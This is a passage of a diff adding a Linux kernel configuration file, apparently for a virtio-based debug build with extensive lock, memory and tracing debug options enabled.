CONFIG_IPW2100 is not set +# CONFIG_IWLWIFI is not set +# CONFIG_IWL4965 is not set +# CONFIG_IWL3945 is not set +# CONFIG_LIBERTAS is not set +# CONFIG_P54_COMMON is not set +# CONFIG_RT2X00 is not set +CONFIG_RTL_CARDS=y +# CONFIG_RTL8192CE is not set +# CONFIG_RTL8192SE is not set +# CONFIG_RTL8192DE is not set +# CONFIG_RTL8723AE is not set +# CONFIG_RTL8188EE is not set +# CONFIG_WL_TI is not set +# CONFIG_MWIFIEX is not set +# CONFIG_CW1200 is not set + +# +# Enable WiMAX (Networking options) to see the WiMAX drivers +# +# CONFIG_WAN is not set +# CONFIG_VMXNET3 is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +# CONFIG_INPUT_FF_MEMLESS is not set +# CONFIG_INPUT_POLLDEV is not set +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set + +# +# Userland interfaces +# +# CONFIG_INPUT_MOUSEDEV is not set +# CONFIG_INPUT_JOYDEV is not set +# CONFIG_INPUT_EVDEV is not set +# CONFIG_INPUT_EVBUG is not set + +# +# Input Device Drivers +# +# CONFIG_INPUT_KEYBOARD is not set +# CONFIG_INPUT_MOUSE is not set +# CONFIG_INPUT_JOYSTICK is not set +# CONFIG_INPUT_TABLET is not set +# CONFIG_INPUT_TOUCHSCREEN is not set +# CONFIG_INPUT_MISC is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_SERIO_I8042=y +CONFIG_SERIO_SERPORT=y +# CONFIG_SERIO_CT82C710 is not set +# CONFIG_SERIO_PCIPS2 is not set +# CONFIG_SERIO_LIBPS2 is not set +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_GAMEPORT is not set + +# +# Character devices +# +CONFIG_TTY=y +CONFIG_VT=y +CONFIG_CONSOLE_TRANSLATIONS=y +CONFIG_VT_CONSOLE=y +CONFIG_HW_CONSOLE=y +CONFIG_VT_HW_CONSOLE_BINDING=y +CONFIG_UNIX98_PTYS=y +# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set +# CONFIG_LEGACY_PTYS is not set +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_NOZOMI is not set +# CONFIG_N_GSM is not set +# CONFIG_TRACE_SINK is not set +# CONFIG_DEVKMEM is not set + +# +# Serial drivers +# +CONFIG_SERIAL_8250=y +CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y +# CONFIG_SERIAL_8250_PNP is not set +CONFIG_SERIAL_8250_CONSOLE=y +CONFIG_FIX_EARLYCON_MEM=y +CONFIG_SERIAL_8250_PCI=y +CONFIG_SERIAL_8250_NR_UARTS=4 +CONFIG_SERIAL_8250_RUNTIME_UARTS=4 +# CONFIG_SERIAL_8250_EXTENDED is not set +# CONFIG_SERIAL_8250_DW is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_MFD_HSU is not set +CONFIG_SERIAL_CORE=y +CONFIG_SERIAL_CORE_CONSOLE=y +# CONFIG_SERIAL_JSM is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_TIMBERDALE is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_PCH_UART is not set +# CONFIG_SERIAL_ARC is not set +# CONFIG_SERIAL_RP2 is not set +# CONFIG_SERIAL_FSL_LPUART is not set +# CONFIG_SERIAL_ST_ASC is not set +# CONFIG_TTY_PRINTK is not set +# CONFIG_VIRTIO_CONSOLE is not set +# CONFIG_IPMI_HANDLER is not set +# CONFIG_HW_RANDOM is not set +# CONFIG_NVRAM is not set +# CONFIG_R3964 is not set +# CONFIG_APPLICOM is not set +# CONFIG_MWAVE is not set +# CONFIG_RAW_DRIVER is not set +# CONFIG_HPET is not set +# CONFIG_HANGCHECK_TIMER is not set +# CONFIG_TCG_TPM is not set +# CONFIG_TELCLOCK is not set +CONFIG_DEVPORT=y +# CONFIG_I2C is not set +# CONFIG_SPI is not set +# CONFIG_HSI is not set + +# +# PPS support +# +# CONFIG_PPS is not set + +# +# PPS generators support +# + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# CONFIG_PTP_1588_CLOCK_PCH is not set +CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y +CONFIG_GPIO_DEVRES=y +# CONFIG_GPIOLIB is not set +# CONFIG_W1 is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_BQ27x00 is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_POWER_RESET is not set +# CONFIG_POWER_AVS is not set +# CONFIG_HWMON is not set +CONFIG_THERMAL=y +CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y +# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set +# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set +# CONFIG_THERMAL_GOV_FAIR_SHARE is not set +CONFIG_THERMAL_GOV_STEP_WISE=y +# CONFIG_THERMAL_GOV_USER_SPACE is not set +# CONFIG_THERMAL_EMULATION is not set +# CONFIG_INTEL_POWERCLAMP is not set + +# +# Texas Instruments thermal drivers +# +# CONFIG_WATCHDOG is not set +CONFIG_SSB_POSSIBLE=y + +# +# Sonics Silicon Backplane +# +# CONFIG_SSB is not set +CONFIG_BCMA_POSSIBLE=y + +# +# Broadcom specific AMBA +# +# CONFIG_BCMA is not set + +# +# Multifunction device drivers +# +# CONFIG_MFD_CORE is not set +# CONFIG_MFD_CS5535 is not set +# CONFIG_MFD_CROS_EC is not set +# CONFIG_HTC_PASIC3 is not set +# CONFIG_LPC_ICH is not set +# CONFIG_LPC_SCH is not set +# CONFIG_MFD_JANZ_CMODIO is not set +# CONFIG_MFD_KEMPLD is not set +# CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RTSX_PCI is not set +# CONFIG_MFD_SM501 is not set +# CONFIG_ABX500_CORE is not set +# CONFIG_MFD_SYSCON is not set +# CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_TMIO is not set +# CONFIG_MFD_VX855 is not set +# CONFIG_REGULATOR is not set +# CONFIG_MEDIA_SUPPORT is not set + +# +# Graphics support +# +# CONFIG_AGP is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 +# CONFIG_VGA_SWITCHEROO is not set +# CONFIG_DRM is not set +# CONFIG_VGASTATE is not set +CONFIG_VIDEO_OUTPUT_CONTROL=y +CONFIG_FB=y +# CONFIG_FIRMWARE_EDID is not set +# CONFIG_FB_DDC is not set +CONFIG_FB_BOOT_VESA_SUPPORT=y +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set +# CONFIG_FB_SYS_FILLRECT is not set +# CONFIG_FB_SYS_COPYAREA is not set +# CONFIG_FB_SYS_IMAGEBLIT is not set +# CONFIG_FB_FOREIGN_ENDIAN is not set +# CONFIG_FB_SYS_FOPS is not set +# CONFIG_FB_SVGALIB is not set +# CONFIG_FB_MACMODES is not set +# CONFIG_FB_BACKLIGHT is not set +CONFIG_FB_MODE_HELPERS=y +# CONFIG_FB_TILEBLITTING is not set + +# +# Frame buffer hardware drivers +# +# CONFIG_FB_CIRRUS is not set +# CONFIG_FB_PM2 is not set +# CONFIG_FB_CYBER2000 is not set +# CONFIG_FB_ARC is not set +# CONFIG_FB_ASILIANT is not set +# CONFIG_FB_IMSTT is not set +# CONFIG_FB_VGA16 is not set +CONFIG_FB_VESA=y +# CONFIG_FB_N411 is not set +# CONFIG_FB_HGA is not set +# CONFIG_FB_S1D13XXX is not set +# CONFIG_FB_NVIDIA is not set +# CONFIG_FB_RIVA is not set +# CONFIG_FB_I740 is not set +# CONFIG_FB_LE80578 is not set +# CONFIG_FB_MATROX is not set +# CONFIG_FB_RADEON is not set +# CONFIG_FB_ATY128 is not set +# CONFIG_FB_ATY is not set +# CONFIG_FB_S3 is not set +# CONFIG_FB_SAVAGE is not set +# CONFIG_FB_SIS is not set +# CONFIG_FB_VIA is not set +# CONFIG_FB_NEOMAGIC is not set +# CONFIG_FB_KYRO is not set +# CONFIG_FB_3DFX is not set +# CONFIG_FB_VOODOO1 is not set +# CONFIG_FB_VT8623 is not set +# CONFIG_FB_TRIDENT is not set +# CONFIG_FB_ARK is not set +# CONFIG_FB_PM3 is not set +# CONFIG_FB_CARMINE is not set +# CONFIG_FB_GOLDFISH is not set +# CONFIG_FB_VIRTUAL is not set +# CONFIG_FB_METRONOME is not set +# CONFIG_FB_MB862XX is not set +# CONFIG_FB_BROADSHEET is not set +# CONFIG_FB_AUO_K190X is not set +# CONFIG_FB_SIMPLE is not set +# CONFIG_EXYNOS_VIDEO is not set +# CONFIG_BACKLIGHT_LCD_SUPPORT is not set + +# +# Console display driver support +# +CONFIG_VGA_CONSOLE=y +CONFIG_VGACON_SOFT_SCROLLBACK=y +CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64 +CONFIG_DUMMY_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set +# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set +# CONFIG_LOGO is not set +# CONFIG_SOUND is not set + +# +# HID support +# +CONFIG_HID=y +# CONFIG_HID_BATTERY_STRENGTH is not set +CONFIG_HIDRAW=y +# CONFIG_UHID is not set +CONFIG_HID_GENERIC=y + +# +# Special HID drivers +# +# CONFIG_HID_A4TECH is not set +# CONFIG_HID_ACRUX is not set +# CONFIG_HID_APPLE is not set +# CONFIG_HID_AUREAL is not set +# CONFIG_HID_BELKIN is not set +# CONFIG_HID_CHERRY is not set +# CONFIG_HID_CHICONY is not set +# CONFIG_HID_CYPRESS is not set +# CONFIG_HID_DRAGONRISE is not set +# CONFIG_HID_EMS_FF is not set +# CONFIG_HID_ELECOM is not set +# CONFIG_HID_EZKEY is not set +# CONFIG_HID_KEYTOUCH is not set +# CONFIG_HID_KYE is not set +# CONFIG_HID_UCLOGIC is not set +# CONFIG_HID_WALTOP is not set +# CONFIG_HID_GYRATION is not set +# CONFIG_HID_ICADE is not set +# CONFIG_HID_TWINHAN is not set +# CONFIG_HID_KENSINGTON is not set +# CONFIG_HID_LCPOWER is not set +# CONFIG_HID_LOGITECH is not set +# CONFIG_HID_MAGICMOUSE is not set +# CONFIG_HID_MICROSOFT is not set +# CONFIG_HID_MONTEREY is not set +# CONFIG_HID_MULTITOUCH is not set +# CONFIG_HID_ORTEK is not set +# CONFIG_HID_PANTHERLORD is not set +# CONFIG_HID_PETALYNX is not set +# CONFIG_HID_PICOLCD is not set +# CONFIG_HID_PRIMAX is not set +# CONFIG_HID_SAITEK is not set +# CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SPEEDLINK is not set +# CONFIG_HID_STEELSERIES is not set +# CONFIG_HID_SUNPLUS is not set +# CONFIG_HID_GREENASIA is not set +# CONFIG_HID_SMARTJOYPLUS is not set +# CONFIG_HID_TIVO is not set +# CONFIG_HID_TOPSEED is not set +# CONFIG_HID_THRUSTMASTER is not set +# CONFIG_HID_XINMO is not set +# CONFIG_HID_ZEROPLUS is not set +# CONFIG_HID_ZYDACRON is not set +# CONFIG_HID_SENSOR_HUB is not set +CONFIG_USB_OHCI_LITTLE_ENDIAN=y +# CONFIG_USB_SUPPORT is not set +# CONFIG_UWB is not set +# CONFIG_MMC is not set +# CONFIG_MEMSTICK is not set +# CONFIG_NEW_LEDS is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_INFINIBAND is not set +# CONFIG_EDAC is not set +CONFIG_RTC_LIB=y +# CONFIG_RTC_CLASS is not set +# CONFIG_DMADEVICES is not set +# CONFIG_AUXDISPLAY is not set +# CONFIG_UIO is not set +CONFIG_VIRT_DRIVERS=y +CONFIG_VIRTIO=y + +# +# Virtio drivers +# +CONFIG_VIRTIO_PCI=y +# CONFIG_VIRTIO_BALLOON is not set +# CONFIG_VIRTIO_MMIO is not set + +# +# Microsoft Hyper-V guest support +# +# CONFIG_HYPERV is not set +# CONFIG_STAGING is not set +# CONFIG_X86_PLATFORM_DEVICES is not set + +# +# Hardware Spinlock drivers +# +CONFIG_CLKEVT_I8253=y +CONFIG_I8253_LOCK=y +CONFIG_CLKBLD_I8253=y +# CONFIG_MAILBOX is not set +# CONFIG_IOMMU_SUPPORT is not set + +# +# Remoteproc drivers +# +# CONFIG_STE_MODEM_RPROC is not set + +# +# Rpmsg drivers +# +# CONFIG_PM_DEVFREQ is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +# CONFIG_NTB is not set +# CONFIG_VME_BUS is not set +# CONFIG_PWM is not set +# CONFIG_IPACK_BUS is not set +# CONFIG_RESET_CONTROLLER is not set +# CONFIG_FMC is not set + +# +# Firmware Drivers +# +# CONFIG_EDD is not set +CONFIG_FIRMWARE_MEMMAP=y +# CONFIG_DELL_RBU is not set +# CONFIG_DCDBAS is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +# CONFIG_ISCSI_IBFT_FIND is not set +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +# CONFIG_EXT4_FS is not set +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_OCFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +CONFIG_FS_POSIX_ACL=y +CONFIG_FILE_LOCKING=y +# CONFIG_FSNOTIFY is not set +# CONFIG_DNOTIFY is not set +# CONFIG_INOTIFY_USER is not set +# CONFIG_FANOTIFY is not set +# CONFIG_QUOTA is not set +# CONFIG_QUOTACTL is not set +# CONFIG_AUTOFS4_FS is not set +# CONFIG_FUSE_FS is not set +CONFIG_GENERIC_ACL=y + +# +# Caches +# +# CONFIG_FSCACHE is not set + +# +# CD-ROM/DVD Filesystems +# +CONFIG_ISO9660_FS=y +# CONFIG_JOLIET is not set +# CONFIG_ZISOFS is not set +# CONFIG_UDF_FS is not set + +# +# DOS/FAT/NT Filesystems +# +# CONFIG_MSDOS_FS is not set +# CONFIG_VFAT_FS is not set +# CONFIG_NTFS_FS is not set + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +CONFIG_PROC_KCORE=y +CONFIG_PROC_SYSCTL=y +CONFIG_PROC_PAGE_MONITOR=y +CONFIG_SYSFS=y +CONFIG_TMPFS=y +CONFIG_TMPFS_POSIX_ACL=y +CONFIG_TMPFS_XATTR=y +# CONFIG_HUGETLBFS is not set +# CONFIG_HUGETLB_PAGE is not set +CONFIG_CONFIGFS_FS=y +# CONFIG_MISC_FILESYSTEMS is not set +CONFIG_NETWORK_FILESYSTEMS=y +# CONFIG_NFS_FS is not set +# CONFIG_NFSD is not set +# CONFIG_CEPH_FS is not set +# CONFIG_CIFS is not set +# CONFIG_NCP_FS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_9P_FS=y +CONFIG_9P_FS_POSIX_ACL=y +# CONFIG_9P_FS_SECURITY is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="iso8859-1" +# CONFIG_NLS_CODEPAGE_437 is not set +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +# CONFIG_NLS_ASCII is not set +# CONFIG_NLS_ISO8859_1 is not set +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +# CONFIG_NLS_UTF8 is not set +# CONFIG_DLM is not set + +# +# Kernel hacking +# +CONFIG_TRACE_IRQFLAGS_SUPPORT=y + +# +# printk and dmesg options +# +CONFIG_PRINTK_TIME=y +CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4 +# CONFIG_BOOT_PRINTK_DELAY is not set +# CONFIG_DYNAMIC_DEBUG is not set + +# +# Compile-time checks and compiler options +# +CONFIG_DEBUG_INFO=y +CONFIG_DEBUG_INFO_REDUCED=y +CONFIG_ENABLE_WARN_DEPRECATED=y +CONFIG_ENABLE_MUST_CHECK=y +CONFIG_FRAME_WARN=1024 +# CONFIG_STRIP_ASM_SYMS is not set +# CONFIG_READABLE_ASM is not set +# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_DEBUG_FS=y +# CONFIG_HEADERS_CHECK is not set +CONFIG_DEBUG_SECTION_MISMATCH=y +CONFIG_ARCH_WANT_FRAME_POINTERS=y +CONFIG_FRAME_POINTER=y +# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set +CONFIG_MAGIC_SYSRQ=y +CONFIG_DEBUG_KERNEL=y + +# +# Memory Debugging +# +CONFIG_DEBUG_PAGEALLOC=y +CONFIG_WANT_PAGE_DEBUG_FLAGS=y +CONFIG_PAGE_GUARD=y +CONFIG_DEBUG_OBJECTS=y +CONFIG_DEBUG_OBJECTS_SELFTEST=y +CONFIG_DEBUG_OBJECTS_FREE=y +CONFIG_DEBUG_OBJECTS_TIMERS=y +CONFIG_DEBUG_OBJECTS_WORK=y +CONFIG_DEBUG_OBJECTS_RCU_HEAD=y +CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y +CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1 +CONFIG_SLUB_DEBUG_ON=y +# CONFIG_SLUB_STATS is not set +CONFIG_HAVE_DEBUG_KMEMLEAK=y +CONFIG_DEBUG_KMEMLEAK=y +CONFIG_DEBUG_KMEMLEAK_EARLY_LOG_SIZE=400 +# CONFIG_DEBUG_KMEMLEAK_DEFAULT_OFF is not set +CONFIG_DEBUG_STACK_USAGE=y +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_VIRTUAL is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_HAVE_DEBUG_STACKOVERFLOW=y +# CONFIG_DEBUG_STACKOVERFLOW is not set +CONFIG_HAVE_ARCH_KMEMCHECK=y +# CONFIG_DEBUG_SHIRQ is not set + +# +# Debug Lockups and Hangs +# +CONFIG_LOCKUP_DETECTOR=y +CONFIG_HARDLOCKUP_DETECTOR=y +# CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set +CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 +# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set +CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 +CONFIG_DETECT_HUNG_TASK=y +CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 +# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set +CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 +CONFIG_PANIC_ON_OOPS=y +CONFIG_PANIC_ON_OOPS_VALUE=1 +CONFIG_SCHED_DEBUG=y +CONFIG_SCHEDSTATS=y +CONFIG_TIMER_STATS=y +CONFIG_DEBUG_PREEMPT=y + +# +# Lock Debugging (spinlocks, mutexes, etc...) +# +CONFIG_DEBUG_RT_MUTEXES=y +CONFIG_DEBUG_PI_LIST=y +# CONFIG_RT_MUTEX_TESTER is not set +CONFIG_DEBUG_SPINLOCK=y +CONFIG_DEBUG_MUTEXES=y +# CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set +CONFIG_DEBUG_LOCK_ALLOC=y +CONFIG_PROVE_LOCKING=y +CONFIG_LOCKDEP=y +CONFIG_LOCK_STAT=y +CONFIG_DEBUG_LOCKDEP=y +CONFIG_DEBUG_ATOMIC_SLEEP=y +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +CONFIG_TRACE_IRQFLAGS=y +CONFIG_STACKTRACE=y +CONFIG_DEBUG_KOBJECT=y +CONFIG_DEBUG_KOBJECT_RELEASE=y +CONFIG_DEBUG_BUGVERBOSE=y +# CONFIG_DEBUG_WRITECOUNT is not set +CONFIG_DEBUG_LIST=y +# CONFIG_DEBUG_SG is not set +CONFIG_DEBUG_NOTIFIERS=y +# CONFIG_DEBUG_CREDENTIALS is not set + +# +# RCU Debugging +# +CONFIG_PROVE_RCU=y +CONFIG_PROVE_RCU_REPEATEDLY=y +# CONFIG_PROVE_RCU_DELAY is not set +CONFIG_SPARSE_RCU_POINTER=y +# CONFIG_RCU_TORTURE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=60 +CONFIG_RCU_CPU_STALL_VERBOSE=y +# CONFIG_RCU_CPU_STALL_INFO is not set +# CONFIG_RCU_TRACE is not set +# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +CONFIG_LATENCYTOP=y +CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y +CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y +CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_NOP_TRACER=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y +CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y +CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_TRACE_CLOCK=y +CONFIG_RING_BUFFER=y +CONFIG_EVENT_TRACING=y +CONFIG_CONTEXT_SWITCH_TRACER=y +CONFIG_TRACING=y +CONFIG_GENERIC_TRACER=y +CONFIG_TRACING_SUPPORT=y +CONFIG_FTRACE=y +CONFIG_FUNCTION_TRACER=y +CONFIG_FUNCTION_GRAPH_TRACER=y +# CONFIG_IRQSOFF_TRACER is not set +# CONFIG_PREEMPT_TRACER is not set +# CONFIG_SCHED_TRACER is not set +# CONFIG_FTRACE_SYSCALLS is not set +# CONFIG_TRACER_SNAPSHOT is not set +CONFIG_BRANCH_PROFILE_NONE=y +# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set +# CONFIG_PROFILE_ALL_BRANCHES is not set +# CONFIG_STACK_TRACER is not set +# CONFIG_BLK_DEV_IO_TRACE is not set +# CONFIG_UPROBE_EVENT is not set +# CONFIG_PROBE_EVENTS is not set +CONFIG_DYNAMIC_FTRACE=y +CONFIG_DYNAMIC_FTRACE_WITH_REGS=y +# CONFIG_FUNCTION_PROFILER is not set +CONFIG_FTRACE_MCOUNT_RECORD=y +# CONFIG_FTRACE_STARTUP_TEST is not set +# CONFIG_MMIOTRACE is not set +# CONFIG_RING_BUFFER_BENCHMARK is not set +# CONFIG_RING_BUFFER_STARTUP_TEST is not set + +# +# Runtime Testing +# +# CONFIG_LKDTM is not set +# CONFIG_TEST_LIST_SORT is not set +# CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_RBTREE_TEST is not set +# CONFIG_ATOMIC64_SELFTEST is not set +# CONFIG_TEST_STRING_HELPERS is not set +# CONFIG_TEST_KSTRTOX is not set +# CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set +# CONFIG_DMA_API_DEBUG is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_ARCH_KGDB=y +# CONFIG_KGDB is not set +# CONFIG_STRICT_DEVMEM is not set +# CONFIG_X86_VERBOSE_BOOTUP is not set +CONFIG_EARLY_PRINTK=y +# CONFIG_EARLY_PRINTK_DBGP is not set +# CONFIG_X86_PTDUMP is not set +# CONFIG_DEBUG_RODATA is not set +CONFIG_DOUBLEFAULT=y +# CONFIG_DEBUG_TLBFLUSH is not set +# CONFIG_IOMMU_DEBUG is not set +# CONFIG_IOMMU_STRESS is not set +CONFIG_HAVE_MMIOTRACE_SUPPORT=y +CONFIG_IO_DELAY_TYPE_0X80=0 +CONFIG_IO_DELAY_TYPE_0XED=1 +CONFIG_IO_DELAY_TYPE_UDELAY=2 +CONFIG_IO_DELAY_TYPE_NONE=3 +CONFIG_IO_DELAY_0X80=y +# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_UDELAY is not set +# CONFIG_IO_DELAY_NONE is not set +CONFIG_DEFAULT_IO_DELAY_TYPE=0 +# CONFIG_DEBUG_BOOT_PARAMS is not set +# CONFIG_CPA_DEBUG is not set +# CONFIG_OPTIMIZE_INLINING is not set +# CONFIG_DEBUG_NMI_SELFTEST is not set +# CONFIG_X86_DEBUG_STATIC_CPU_HAS is not set + +# +# Security options +# +# CONFIG_KEYS is not set +# CONFIG_SECURITY_DMESG_RESTRICT is not set +# CONFIG_SECURITY is not set +# CONFIG_SECURITYFS is not set +CONFIG_DEFAULT_SECURITY_DAC=y +CONFIG_DEFAULT_SECURITY="" +CONFIG_CRYPTO=y + +# +# Crypto core or helper +# +CONFIG_CRYPTO_ALGAPI=y +CONFIG_CRYPTO_ALGAPI2=y +CONFIG_CRYPTO_AEAD=y +CONFIG_CRYPTO_AEAD2=y +CONFIG_CRYPTO_BLKCIPHER=y +CONFIG_CRYPTO_BLKCIPHER2=y +CONFIG_CRYPTO_HASH=y +CONFIG_CRYPTO_HASH2=y +CONFIG_CRYPTO_RNG=y +CONFIG_CRYPTO_RNG2=y +CONFIG_CRYPTO_PCOMP2=y +CONFIG_CRYPTO_MANAGER=y +CONFIG_CRYPTO_MANAGER2=y +# CONFIG_CRYPTO_USER is not set +CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y +# CONFIG_CRYPTO_GF128MUL is not set +# CONFIG_CRYPTO_NULL is not set +# CONFIG_CRYPTO_PCRYPT is not set +CONFIG_CRYPTO_WORKQUEUE=y +# CONFIG_CRYPTO_CRYPTD is not set +# CONFIG_CRYPTO_AUTHENC is not set + +# +# Authenticated Encryption with Associated Data +# +CONFIG_CRYPTO_CCM=y +# CONFIG_CRYPTO_GCM is not set +CONFIG_CRYPTO_SEQIV=y + +# +# Block modes +# +# CONFIG_CRYPTO_CBC is not set +CONFIG_CRYPTO_CTR=y +# CONFIG_CRYPTO_CTS is not set +# CONFIG_CRYPTO_ECB is not set +# CONFIG_CRYPTO_LRW is not set +# CONFIG_CRYPTO_PCBC is not set +# CONFIG_CRYPTO_XTS is not set + +# +# Hash modes +# +# CONFIG_CRYPTO_CMAC is not set +# CONFIG_CRYPTO_HMAC is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_VMAC is not set + +# +# Digest +# +# CONFIG_CRYPTO_CRC32C is not set +# CONFIG_CRYPTO_CRC32C_INTEL is not set +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +CONFIG_CRYPTO_CRCT10DIF=y +# CONFIG_CRYPTO_GHASH is not set +# CONFIG_CRYPTO_MD4 is not set +# CONFIG_CRYPTO_MD5 is not set +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_RMD128 is not set 